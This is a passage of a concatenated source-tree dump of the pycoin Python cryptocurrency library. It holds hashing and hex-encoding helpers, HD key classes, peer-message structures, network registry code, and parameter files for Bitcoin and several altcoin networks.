copy, modify, merge, publish, distribute, sublicense, and/or sell 37 | copies of the Software, and to permit persons to whom the Software is 38 | furnished to do so, subject to the following conditions: 39 | 40 | The above copyright notice and this permission notice shall be included in 41 | all copies or substantial portions of the Software. 42 | 43 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 44 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 45 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 46 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 47 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 48 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 49 | THE SOFTWARE. 50 | """ 51 | -------------------------------------------------------------------------------- /pycoin/encoding/exceptions.py: -------------------------------------------------------------------------------- 1 | class EncodingError(ValueError): 2 | pass 3 | -------------------------------------------------------------------------------- /pycoin/encoding/hash.py: -------------------------------------------------------------------------------- 1 | 2 | import hashlib 3 | 4 | from .hexbytes import bytes_as_revhex 5 | 6 | 7 | def ripemd160(data): 8 | return hashlib.new("ripemd160", data) 9 | 10 | 11 | try: 12 | ripemd160(b'').digest() 13 | except Exception: 14 | # stupid Google App Engine hashlib doesn't support ripemd160 for some stupid reason 15 | # import it from pycrypto. You need to add 16 | # - name: pycrypto 17 | # version: "latest" 18 | # to the "libraries" section of your app.yaml 19 | from Crypto.Hash.RIPEMD import RIPEMD160Hash as ripemd160 20 | 21 | 22 | def double_sha256(data): 23 | """A standard compound hash.""" 24 | return bytes_as_revhex(hashlib.sha256(hashlib.sha256(data).digest()).digest()) 25 | 26 | 27 | def hash160(data): 28 | """A standard compound hash.""" 29 | return ripemd160(hashlib.sha256(data).digest()).digest() 30 | 31 | 32 | """ 33 | The MIT License (MIT) 34 | 35 | Copyright (c) 2013 by Richard Kiss 36 | 37 | Permission is hereby granted, free of charge, to any person obtaining a copy 38 | of this software and associated documentation files (the "Software"), to deal 39 | in the Software without restriction, including without limitation the rights 40 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 41 | copies of the Software, and to permit persons to whom the Software is 42 | furnished to do so, subject to the following conditions: 43 | 44 | The above copyright notice and this permission notice shall be included in 45 | all copies or substantial portions of the Software. 46 | 47 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 48 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 49 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 50 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 51 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 52 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 53 | THE SOFTWARE. 54 | """ 55 | -------------------------------------------------------------------------------- /pycoin/encoding/hexbytes.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | 3 | 4 | def h2b(h): 5 | """ 6 | A version of binascii.unhexlify that accepts unicode. This is 7 | no longer necessary as of Python 3.3. But it doesn't hurt. 8 | 9 | Raises a ValueError on failure (unlike binascii.unhexlify, which 10 | raises a TypeError in Python 2 and a binascii.Error in Python 3). 11 | """ 12 | try: 13 | return binascii.unhexlify(h.encode("ascii")) 14 | except Exception: 15 | raise ValueError("h2b failed on %s" % h) 16 | 17 | 18 | def h2b_rev(h): 19 | return h2b(h)[::-1] 20 | 21 | 22 | def b2h(the_bytes): 23 | return binascii.hexlify(the_bytes).decode("utf8") 24 | 25 | 26 | def b2h_rev(the_bytes): 27 | return b2h(bytearray(reversed(the_bytes))) 28 | 29 | 30 | class bytes_as_revhex(bytes): 31 | def __str__(self): 32 | return b2h_rev(self) 33 | 34 | def __repr__(self): 35 | return b2h_rev(self) 36 | 37 | 38 | class bytes_as_hex(bytes): 39 | def __str__(self): 40 | return b2h(self) 41 | 42 | def __repr__(self): 43 | return b2h(self) 44 | -------------------------------------------------------------------------------- /pycoin/intbytes.py: -------------------------------------------------------------------------------- 1 | """ 2 | Provide the following functions, all cribbed from the library 3 | `six `_. 4 | 5 | iterbytes(buf): 6 | return an iterator of ints corresponding to the bytes of buf 7 | 8 | indexbytes(buf, i): 9 | return the int for the ith byte of buf 10 | 11 | int2byte(an_int): 12 | convert a small integer (< 256) into bytes (with length 1) 13 | 14 | byte2int(bs): 15 | turn bs[0] into an int (0-255) 16 | """ 17 | 18 | import functools 19 | import itertools 20 | import operator 21 | import struct 22 | 23 | if bytes == str: 24 | iterbytes = functools.partial(itertools.imap, ord) 25 | 26 | def indexbytes(buf, i): 27 | return ord(buf[i]) 28 | int2byte = chr 29 | 30 | def byte2int(bs): 31 | return ord(bs[0]) 32 | else: 33 | iterbytes = iter 34 | indexbytes = operator.getitem 35 | int2byte = struct.Struct(">B").pack 36 | byte2int = operator.itemgetter(0) 37 | -------------------------------------------------------------------------------- /pycoin/key/HDSeed.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import hmac 3 | import struct 4 | 5 | from ..encoding.bytes32 import from_bytes_32 6 | from ..encoding.sec import sec_to_public_pair 7 | from .Key import Key 8 | 9 | 10 | class HDSeed: 11 | def __init__(self, data): 12 | self.data = data 13 | 14 | @classmethod 15 | def deserialize(class_, data): 16 | parent_fingerprint, child_index = struct.unpack(">4sL", data[5:13]) 17 | d = dict(chain_code=data[13:45], depth=ord(data[4:5]), parent_fingerprint=parent_fingerprint, 18 | child_index=child_index) 19 | is_private = (data[45:46] == b'\0') 20 | if is_private: 21 | d["secret_exponent"] = from_bytes_32(data[46:]) 22 | else: 23 | d["public_pair"] = sec_to_public_pair(data[45:], generator=class_._generator) 24 | return class_(**d) 25 | 26 | def __repr__(self): 27 | return "" % hashlib.sha256(self.data).hexdigest()[:8] 28 | -------------------------------------------------------------------------------- /pycoin/key/HierarchicalKey.py: -------------------------------------------------------------------------------- 1 | from ..encoding.hexbytes import b2h 2 | 3 | from .Key import Key 4 | from .subpaths import subpaths_for_path_range 5 | 6 | 7 | class HierarchicalKey(Key): 8 | def subkeys(self, path): 9 | """ 10 | A generalized form that can return multiple subkeys. 11 | """ 12 | for _ in subpaths_for_path_range(path, hardening_chars="'pH"): 13 | yield self.subkey_for_path(_) 14 | 15 | def ku_output_for_hk(self): 16 | yield ("wallet_key", self.hwif(as_private=self.is_private()), None) 17 | if self.is_private(): 18 | yield ("public_version", self.hwif(as_private=False), None) 19 | 20 | child_number = self.child_index() 21 | if child_number >= 0x80000000: 22 | wc = child_number - 0x80000000 23 | child_index = "%dH (%d)" % (wc, child_number) 24 | else: 25 | child_index = "%d" % child_number 26 | yield ("tree_depth", "%d" % self.tree_depth(), None) 27 | yield ("fingerprint", b2h(self.fingerprint()), None) 28 | yield ("parent_fingerprint", b2h(self.parent_fingerprint()), "parent f'print") 29 | yield ("child_index", child_index, None) 30 | yield ("chain_code", b2h(self.chain_code()), None) 31 | 32 | yield ("private_key", "yes" if self.is_private() else "no", None) 33 | 34 | def ku_output(self): 35 | for _ in self.ku_output_for_hk(): 36 | yield _ 37 | 38 | for _ in super(HierarchicalKey, self).ku_output(): 39 | yield _ -------------------------------------------------------------------------------- /pycoin/key/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/key/__init__.py -------------------------------------------------------------------------------- /pycoin/message/InvItem.py: -------------------------------------------------------------------------------- 1 | import functools 2 | 3 | from pycoin.encoding.hexbytes import b2h_rev 4 | from pycoin.satoshi.satoshi_struct import parse_struct, stream_struct 5 | 6 | ITEM_TYPE_TX = 1 7 | ITEM_TYPE_BLOCK = 2 8 | ITEM_TYPE_MERKLEBLOCK = 3 9 | INV_CMPCT_BLOCK = 4 10 | 11 | INV_WITNESS_FLAG = 1 << 30 12 | INV_TYPE_MASK = 0xffffffff >> 2 13 | 14 | 15 | @functools.total_ordering 16 | class InvItem(object): 17 | def __init__(self, item_type, data, dont_check=False): 18 | if not dont_check: 19 | assert item_type in (ITEM_TYPE_TX, ITEM_TYPE_BLOCK, ITEM_TYPE_MERKLEBLOCK) 20 | self.item_type = item_type 21 | assert isinstance(data, bytes) 22 | assert len(data) == 32 23 | self.data = data 24 | 25 | def __str__(self): 26 | INV_TYPES = ["?", "Tx", "Block", "Merkle"] 27 | idx = self.item_type 28 | if not 0 < idx < 4: 29 | idx = 0 30 | return "InvItem %s [%s]" % (INV_TYPES[idx], b2h_rev(self.data)) 31 | 32 | def __repr__(self): 33 | return str(self) 34 | 35 | def __hash__(self): 36 | return hash((self.item_type, self.data)) 37 | 38 | def __eq__(self, other): 39 | if isinstance(other, self.__class__): 40 | return self.item_type == other.item_type and self.data == other.data 41 | return False 42 | 43 | def __lt__(self, other): 44 | return (self.item_type, self.data) < (other.item_type, other.data) 45 | 46 | def stream(self, f): 47 | stream_struct("L#", f, self.item_type, self.data) 48 | 49 | @classmethod 50 | def parse(self, f): 51 | return self(*parse_struct("L#", f), dont_check=True) 52 | -------------------------------------------------------------------------------- /pycoin/message/PeerAddress.py: -------------------------------------------------------------------------------- 1 | import functools 2 | import struct 3 | 4 | from pycoin.intbytes import iterbytes 5 | from pycoin.satoshi.satoshi_struct import parse_struct 6 | from pycoin.encoding.hexbytes import h2b 7 | 8 | 9 | IP4_HEADER = h2b("00000000000000000000FFFF") 10 | 11 | 12 | def ip_bin_to_ip6_addr(ip_bin): 13 | return ":".join("%x" % v for v in struct.unpack(">HHHHHHHH", ip_bin)) 14 | 15 | 16 | def ip_bin_to_ip4_addr(ip_bin): 17 | return "%d.%d.%d.%d" % tuple(iterbytes(ip_bin[-4:])) 18 | 19 | 20 | @functools.total_ordering 21 | class PeerAddress(object): 22 | def __init__(self, services, ip_bin, port): 23 | self.services = int(services) 24 | assert isinstance(ip_bin, bytes) 25 | if len(ip_bin) == 4: 26 | ip_bin = IP4_HEADER + ip_bin 27 | assert len(ip_bin) == 16 28 | self.ip_bin = ip_bin 29 | self.port = port 30 | 31 | def __repr__(self): 32 | return "%s/%d" % (self.host(), self.port) 33 | 34 | def host(self): 35 | if self.ip_bin.startswith(IP4_HEADER): 36 | return ip_bin_to_ip4_addr(self.ip_bin[-4:]) 37 | return ip_bin_to_ip6_addr(self.ip_bin) 38 | 39 | def stream(self, f): 40 | f.write(struct.pack("` with a binary image of the script. 31 | """ 32 | return self._network.contract.for_info(self._script_info) 33 | 34 | def disassemble(self): 35 | """ 36 | Return a text string of the disassembly of the script. 37 | """ 38 | return self._network.script.disassemble(self.script()) 39 | 40 | def ku_output(self): 41 | """ 42 | Return a 20-byte hash corresponding to this script (or None if not applicable). 43 | """ 44 | hash160 = self._script_info.get("hash160", None) 45 | if hash160: 46 | yield ("hash160", b2h(hash160), None) 47 | 48 | address = self.address() 49 | yield ("address", address, "%s address" % self._network.network_name) 50 | yield ("%s_address" % self._network.symbol, address, "legacy") 51 | 52 | def override_network(self, override_network): 53 | return override_network.contract.new(self.info()) 54 | 55 | def __repr__(self): 56 | return "<%s>" % self.address() 57 | -------------------------------------------------------------------------------- /pycoin/networks/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/networks/__init__.py -------------------------------------------------------------------------------- /pycoin/networks/default.py: -------------------------------------------------------------------------------- 1 | 2 | import os 3 | import threading 4 | 5 | from .registry import network_for_netcode 6 | 7 | THREAD_LOCALS = threading.local() 8 | 9 | 10 | def check_netcode(netcode): 11 | if network_for_netcode(netcode) is None: 12 | raise ValueError("unknown netcode %s" % netcode) 13 | 14 | 15 | def _netcode_for_env(): 16 | p = os.getenv("PYCOIN_DEFAULT_NETCODE") 17 | if p is None: 18 | p = 'BTC' 19 | check_netcode(p) 20 | return p 21 | 22 | 23 | DEFAULT_NETCODE = _netcode_for_env() 24 | 25 | 26 | def set_default_netcode(netcode): 27 | global DEFAULT_NETCODE 28 | check_netcode(netcode) 29 | DEFAULT_NETCODE = netcode 30 | 31 | 32 | def set_default_netcode_for_thread(netcode): 33 | check_netcode(netcode) 34 | THREAD_LOCALS.netcode = netcode 35 | 36 | 37 | def get_current_netcode(): 38 | # check the thread local first 39 | # if that doesn't exist, use the global default 40 | return getattr(THREAD_LOCALS, "netcode", DEFAULT_NETCODE) 41 | 42 | 43 | def get_current_network(): 44 | return network_for_netcode(get_current_netcode()) 45 | -------------------------------------------------------------------------------- /pycoin/networks/registry.py: -------------------------------------------------------------------------------- 1 | import importlib 2 | import os 3 | import pkgutil 4 | 5 | 6 | def search_prefixes(): 7 | prefixes = ["pycoin.symbols"] 8 | try: 9 | prefixes = os.getenv("PYCOIN_NETWORK_PATHS", "").split() + prefixes 10 | except Exception: 11 | pass 12 | return prefixes 13 | 14 | 15 | def network_for_netcode(symbol): 16 | symbol = symbol.upper() 17 | netcode = symbol.lower() 18 | for prefix in search_prefixes(): 19 | try: 20 | module = importlib.import_module("%s.%s" % (prefix, netcode)) 21 | if module.network.symbol.upper() == symbol: 22 | module.symbol = symbol 23 | return module.network 24 | except (AttributeError, ImportError): 25 | pass 26 | raise ValueError("no network with symbol %s found" % netcode) 27 | 28 | 29 | def iterate_symbols(): 30 | """ 31 | Return an iterator yielding registered netcodes. 32 | """ 33 | for prefix in search_prefixes(): 34 | package = importlib.import_module(prefix) 35 | for importer, modname, ispkg in pkgutil.walk_packages(path=package.__path__, onerror=lambda x: None): 36 | network = network_for_netcode(modname) 37 | if network: 38 | yield network.symbol.upper() 39 | 40 | 41 | def network_codes(): 42 | return list(iterate_symbols()) 43 | -------------------------------------------------------------------------------- /pycoin/satoshi/IntStreamer.py: -------------------------------------------------------------------------------- 1 | from pycoin.coins.SolutionChecker import ScriptError 2 | 3 | from . import errno 4 | 5 | 6 | class IntStreamer(object): 7 | 8 | @classmethod 9 | def int_from_script_bytes(class_, s, require_minimal=False): 10 | if len(s) == 0: 11 | return 0 12 | s = bytearray(s) 13 | s.reverse() 14 | i = s[0] 15 | v = i & 0x7f 16 | if require_minimal: 17 | if v == 0: 18 | if len(s) <= 1 or ((s[1] & 0x80) == 0): 19 | raise ScriptError("non-minimally encoded", errno.UNKNOWN_ERROR) 20 | is_negative = ((i & 0x80) > 0) 21 | for b in s[1:]: 22 | v <<= 8 23 | v += b 24 | if is_negative: 25 | v = -v 26 | return v 27 | 28 | @classmethod 29 | def int_to_script_bytes(class_, v): 30 | if v == 0: 31 | return b'' 32 | is_negative = (v < 0) 33 | if is_negative: 34 | v = -v 35 | ba = bytearray() 36 | while v >= 256: 37 | ba.append(v & 0xff) 38 | v >>= 8 39 | ba.append(v & 0xff) 40 | if ba[-1] >= 128: 41 | ba.append(0x80 if is_negative else 0) 42 | elif is_negative: 43 | ba[-1] |= 0x80 44 | return bytes(ba) 45 | -------------------------------------------------------------------------------- /pycoin/satoshi/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/satoshi/__init__.py -------------------------------------------------------------------------------- /pycoin/satoshi/errno.py: -------------------------------------------------------------------------------- 1 | OK = 0 2 | UNKNOWN_ERROR = 1 3 | EVAL_FALSE = 2 4 | OP_RETURN = 3 5 | 6 | # Max sizes 7 | SCRIPT_SIZE = 4 8 | PUSH_SIZE = 5 9 | OP_COUNT = 6 10 | STACK_SIZE = 7 11 | SIG_COUNT = 8 12 | PUBKEY_COUNT = 9 13 | 14 | # Failed verify operations 15 | VERIFY = 10 16 | EQUALVERIFY = 11 17 | CHECKMULTISIGVERIFY = 12 18 | CHECKSIGVERIFY = 13 19 | NUMEQUALVERIFY = 14 20 | 21 | # Logical/Format/Canonical errors 22 | BAD_OPCODE = 15 23 | DISABLED_OPCODE = 16 24 | INVALID_STACK_OPERATION = 17 25 | INVALID_ALTSTACK_OPERATION = 18 26 | UNBALANCED_CONDITIONAL = 19 27 | 28 | # CHECKLOCKTIMEVERIFY and CHECKSEQUENCEVERIFY 29 | NEGATIVE_LOCKTIME = 20 30 | UNSATISFIED_LOCKTIME = 21 31 | 32 | # Malleability 33 | SIG_HASHTYPE = 22 34 | SIG_DER = 23 35 | MINIMALDATA = 24 36 | SIG_PUSHONLY = 25 37 | SIG_HIGH_S = 26 38 | SIG_NULLDUMMY = 27 39 | PUBKEYTYPE = 28 40 | CLEANSTACK = 29 41 | MINIMALIF = 30 42 | NULLFAIL = 31 43 | 44 | # softfork safeness 45 | DISCOURAGE_UPGRADABLE_NOPS = 32 46 | DISCOURAGE_UPGRADABLE_WITNESS_PROGRAM = 33 47 | 48 | # segregated witness 49 | WITNESS_PROGRAM_WRONG_LENGTH = 34 50 | WITNESS_PROGRAM_WITNESS_EMPTY = 35 51 | WITNESS_PROGRAM_MISMATCH = 36 52 | WITNESS_MALLEATED = 37 53 | WITNESS_MALLEATED_P2SH = 38 54 | WITNESS_UNEXPECTED = 39 55 | WITNESS_PUBKEYTYPE = 40 56 | 57 | ERROR_COUNT = 41 58 | -------------------------------------------------------------------------------- /pycoin/satoshi/satoshi_int.py: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | 4 | def parse_satoshi_int(f, v=None): 5 | if v is None: 6 | v = ord(f.read(1)) 7 | if v == 253: 8 | v = struct.unpack(" 0] 13 | 14 | 15 | def tx_writable_cache_dir(): 16 | p = main_cache_dir() 17 | if p: 18 | p = os.path.join(main_cache_dir(), "txs") 19 | return p 20 | 21 | 22 | def config_string_for_netcode_from_env(netcode): 23 | return os.getenv("PYCOIN_%s_PROVIDERS" % netcode, "") 24 | -------------------------------------------------------------------------------- /pycoin/services/tx_db.py: -------------------------------------------------------------------------------- 1 | 2 | import os.path 3 | 4 | from pycoin.coins.bitcoin.Tx import Tx 5 | from pycoin.encoding.hexbytes import b2h_rev 6 | 7 | 8 | class TxDb(object): 9 | """ 10 | This object can be used in many places that expect a dict. 11 | """ 12 | def __init__(self, lookup_methods=[], read_only_paths=[], writable_cache_path=None): 13 | self.lookup_methods = lookup_methods 14 | self.read_only_paths = read_only_paths 15 | if writable_cache_path: 16 | self.read_only_paths.append(writable_cache_path) 17 | self.writable_cache_path = writable_cache_path 18 | if self.writable_cache_path and not os.path.exists(self.writable_cache_path): 19 | os.makedirs(self.writable_cache_path) 20 | 21 | def paths_for_hash(self, hash): 22 | name = b2h_rev(hash) 23 | for base_dir in self.read_only_paths: 24 | p = os.path.join(base_dir, "%s_tx.bin" % name) 25 | if os.path.exists(p): 26 | yield p 27 | 28 | def put(self, tx): 29 | name = b2h_rev(tx.hash()) 30 | if self.writable_cache_path: 31 | try: 32 | path = os.path.join(self.writable_cache_path, "%s_tx.bin" % name) 33 | with open(path, "wb") as f: 34 | tx.stream(f) 35 | except IOError: 36 | pass 37 | 38 | def get(self, key): 39 | for path in self.paths_for_hash(key): 40 | try: 41 | tx = Tx.parse(open(path, "rb")) 42 | if tx and tx.hash() == key: 43 | return tx 44 | except IOError: 45 | pass 46 | for method in self.lookup_methods: 47 | try: 48 | tx = method(key) 49 | if tx and tx.hash() == key: 50 | self.put(tx) 51 | return tx 52 | except Exception: 53 | pass 54 | return None 55 | 56 | def __getitem__(self, key): 57 | raise NotImplemented 58 | 59 | def __setitem__(self, key, val): 60 | if val.hash() != key: 61 | raise ValueError("bad key %s for %s" % (b2h_rev(key), val)) 62 | self.put(val) 63 | -------------------------------------------------------------------------------- /pycoin/solve/ConstraintSolver.py: -------------------------------------------------------------------------------- 1 | from .constraints import Atom, Operator 2 | 3 | 4 | class SolvingError(Exception): 5 | pass 6 | 7 | 8 | class CONSTANT(object): 9 | def __init__(self, name): 10 | self._name = name 11 | 12 | def match(self, c): 13 | if not isinstance(c, Atom): 14 | return {self._name: c} 15 | return False 16 | 17 | 18 | class VAR(object): 19 | def __init__(self, name): 20 | self._name = name 21 | 22 | def match(self, c): 23 | if isinstance(c, Atom) and not isinstance(c, Operator): 24 | return {self._name: c} 25 | return False 26 | 27 | 28 | class LIST(object): 29 | def __init__(self, name): 30 | self._name = name 31 | 32 | def match(self, c): 33 | if isinstance(c, (tuple, list)): 34 | return {self._name: c} 35 | return False 36 | 37 | 38 | class ConstraintSolver(object): 39 | def __init__(self): 40 | self._solvers_for_patterns = {} 41 | 42 | def register_solver(self, pattern, solver_f): 43 | self._solvers_for_patterns[pattern] = solver_f 44 | 45 | def solutions_for_constraint(self, c): 46 | # given a constraint c 47 | # return None or 48 | # a solution (solution_f, target atom, dependency atom list) 49 | # where solution_f take list of solved values 50 | 51 | for pattern, f_factory in self._solvers_for_patterns.items(): 52 | m = self.constraint_matches(c, pattern) 53 | if m: 54 | return f_factory(m) 55 | 56 | def constraint_matches(self, c, m): 57 | """ 58 | Return dict noting the substitution values (or False for no match) 59 | """ 60 | if isinstance(m, tuple): 61 | d = {} 62 | if isinstance(c, Operator) and c._op_name == m[0]: 63 | for c1, m1 in zip(c._args, m[1:]): 64 | r = self.constraint_matches(c1, m1) 65 | if r is False: 66 | return r 67 | d.update(r) 68 | return d 69 | return False 70 | return m.match(c) 71 | -------------------------------------------------------------------------------- /pycoin/solve/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/solve/__init__.py -------------------------------------------------------------------------------- /pycoin/solve/utils.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | 3 | from pycoin.encoding.hash import hash160 4 | from pycoin.encoding.sec import public_pair_to_hash160_sec 5 | 6 | 7 | def build_hash160_lookup(secret_exponents, generators): 8 | d = {} 9 | for secret_exponent in secret_exponents: 10 | for generator in generators: 11 | public_pair = secret_exponent * generator 12 | for compressed in (True, False): 13 | hash160 = public_pair_to_hash160_sec(public_pair, compressed=compressed) 14 | d[hash160] = (secret_exponent, public_pair, compressed, generator) 15 | return d 16 | 17 | 18 | def build_p2sh_lookup(scripts): 19 | d1 = dict((hash160(s), s) for s in scripts) 20 | d1.update((hashlib.sha256(s).digest(), s) for s in scripts) 21 | return d1 22 | 23 | 24 | def build_sec_lookup(sec_values): 25 | d = {} 26 | for sec in sec_values or []: 27 | d[hash160(sec)] = sec 28 | return d 29 | -------------------------------------------------------------------------------- /pycoin/symbols/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/symbols/__init__.py -------------------------------------------------------------------------------- /pycoin/symbols/arg.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="ARG", network_name="Argentum", subnet_name="mainnet", 5 | wif_prefix_hex="97", address_prefix_hex="17", pay_to_script_prefix_hex="05", 6 | bip32_prv_prefix_hex="0488ade4", bip32_pub_prefix_hex="0488b21e") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/axe.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="AXE", network_name="Axe", subnet_name="mainnet", 5 | wif_prefix_hex="cc", address_prefix_hex="37", pay_to_script_prefix_hex="10", 6 | bip32_prv_prefix_hex="0488ade4", bip32_pub_prefix_hex="0488b21e") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/bc.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="BC", network_name="Blackcoin", subnet_name="mainnet", 5 | wif_prefix_hex="99", address_prefix_hex="19", 6 | bip32_prv_prefix_hex="02cfbf60", bip32_pub_prefix_hex="02cfbede") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/bch.py: -------------------------------------------------------------------------------- 1 | from pycoin.coins.bcash.Tx import Tx as BcashTx 2 | from pycoin.networks.bitcoinish import create_bitcoinish_network 3 | 4 | 5 | network = create_bitcoinish_network( 6 | symbol="BCH", network_name="Bcash", subnet_name="mainnet", tx=BcashTx, 7 | wif_prefix_hex="80", sec_prefix="BCHSEC:", address_prefix_hex="00", pay_to_script_prefix_hex="05", 8 | bip32_prv_prefix_hex="0488ade4", bip32_pub_prefix_hex="0488B21E", 9 | magic_header_hex="F9BEB4D9", default_port=8333, 10 | dns_bootstrap=[ 11 | "seed.bitcoinabc.org", "seed-abc.bitcoinforks.org", 12 | "btccash-seeder.bitcoinunlimited.info", "seed.bitprim.org", 13 | "seed.deadalnix.me", "seeder.criptolayer.net" 14 | ]) 15 | -------------------------------------------------------------------------------- /pycoin/symbols/bsd.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="BSD", network_name="BitSend", subnet_name="mainnet", 5 | wif_prefix_hex="CC", sec_prefix="BSDSEC:", address_prefix_hex="66", pay_to_script_prefix_hex="05", 6 | bip32_prv_prefix_hex="0488ADE4", bip32_pub_prefix_hex="0488B21E", 7 | magic_header_hex="A3D5C2F9", default_port=8886, 8 | dns_bootstrap=[ 9 | "seed.mybitsend.com" 10 | ]) 11 | -------------------------------------------------------------------------------- /pycoin/symbols/btc.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | 4 | network = create_bitcoinish_network( 5 | symbol="BTC", network_name="Bitcoin", subnet_name="mainnet", 6 | wif_prefix_hex="80", sec_prefix="BTCSEC:", address_prefix_hex="00", pay_to_script_prefix_hex="05", 7 | bip32_prv_prefix_hex="0488ade4", bip32_pub_prefix_hex="0488B21E", bech32_hrp="bc", 8 | bip49_prv_prefix_hex="049d7878", bip49_pub_prefix_hex="049D7CB2", 9 | bip84_prv_prefix_hex="04b2430c", bip84_pub_prefix_hex="04B24746", 10 | magic_header_hex="F9BEB4D9", default_port=8333, 11 | dns_bootstrap=[ 12 | "seed.bitcoin.sipa.be", "dnsseed.bitcoin.dashjr.org", 13 | "bitseed.xf2.org", "dnsseed.bluematt.me", 14 | ]) 15 | -------------------------------------------------------------------------------- /pycoin/symbols/btcd.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="BTCD", network_name="BitcoinDark", subnet_name="mainnet", 5 | wif_prefix_hex="44", address_prefix_hex="3c", pay_to_script_prefix_hex="2d", 6 | bip32_prv_prefix_hex="0488ade4", bip32_pub_prefix_hex="0488b21e") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/btdx.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="BTDX", network_name="Bitcloud", subnet_name="mainnet", 5 | wif_prefix_hex="99", sec_prefix="BTDXSEC:", address_prefix_hex="19", pay_to_script_prefix_hex="05", 6 | bip32_prv_prefix_hex="0488ADE4", bip32_pub_prefix_hex="0488B21E", 7 | magic_header_hex="E4E8BDFD", default_port=8329, 8 | dns_bootstrap=[ 9 | "seed.bitcloud.network" 10 | ]) 11 | -------------------------------------------------------------------------------- /pycoin/symbols/btg.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | from pycoin.coins.bgold.Tx import Tx as BgoldTx 4 | from pycoin.coins.bgold.Block import Block as BgoldBlock 5 | 6 | # fork at block 491407 7 | 8 | network = create_bitcoinish_network( 9 | symbol="BTG", network_name="Bgold", subnet_name="mainnet", tx=BgoldTx, block=BgoldBlock, 10 | wif_prefix_hex="80", sec_prefix="BTGSEC:", address_prefix_hex="26", pay_to_script_prefix_hex="17", 11 | bip32_prv_prefix_hex="0488ade4", bip32_pub_prefix_hex="0488B21E", 12 | magic_header_hex="e1476d44", default_port=8338, 13 | dns_bootstrap=[ 14 | "eu-dnsseed.bitcoingold-official.org", "dnsseed.bitcoingold.org", 15 | "dnsseed.btcgpu.org", 16 | ]) 17 | -------------------------------------------------------------------------------- /pycoin/symbols/btx.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="BTX", network_name="BitCore", subnet_name="mainnet", 5 | wif_prefix_hex="80", sec_prefix="BTXSEC:", address_prefix_hex="03", pay_to_script_prefix_hex="7D", 6 | bip32_prv_prefix_hex="0488ADE4", bip32_pub_prefix_hex="0488B21E", 7 | magic_header_hex="F9BEB4D9", default_port=8555, 8 | dns_bootstrap=[ 9 | "seed.bitcore.biz" 10 | ]) 11 | -------------------------------------------------------------------------------- /pycoin/symbols/cha.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | network_name="Chaucha", symbol="CHA", subnet_name="mainnet", 5 | wif_prefix_hex="d8", address_prefix_hex="58", pay_to_script_prefix_hex="50", 6 | bip32_prv_prefix_hex="0488ADE4", bip32_pub_prefix_hex="0488B21E", 7 | magic_header_hex="AAA226A9", default_port=21663, 8 | dns_bootstrap=[ 9 | "condor420.chaucha.cl", "huemul69.chaucha.cl", 10 | ]) 11 | -------------------------------------------------------------------------------- /pycoin/symbols/dash.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="DASH", network_name="Dash", 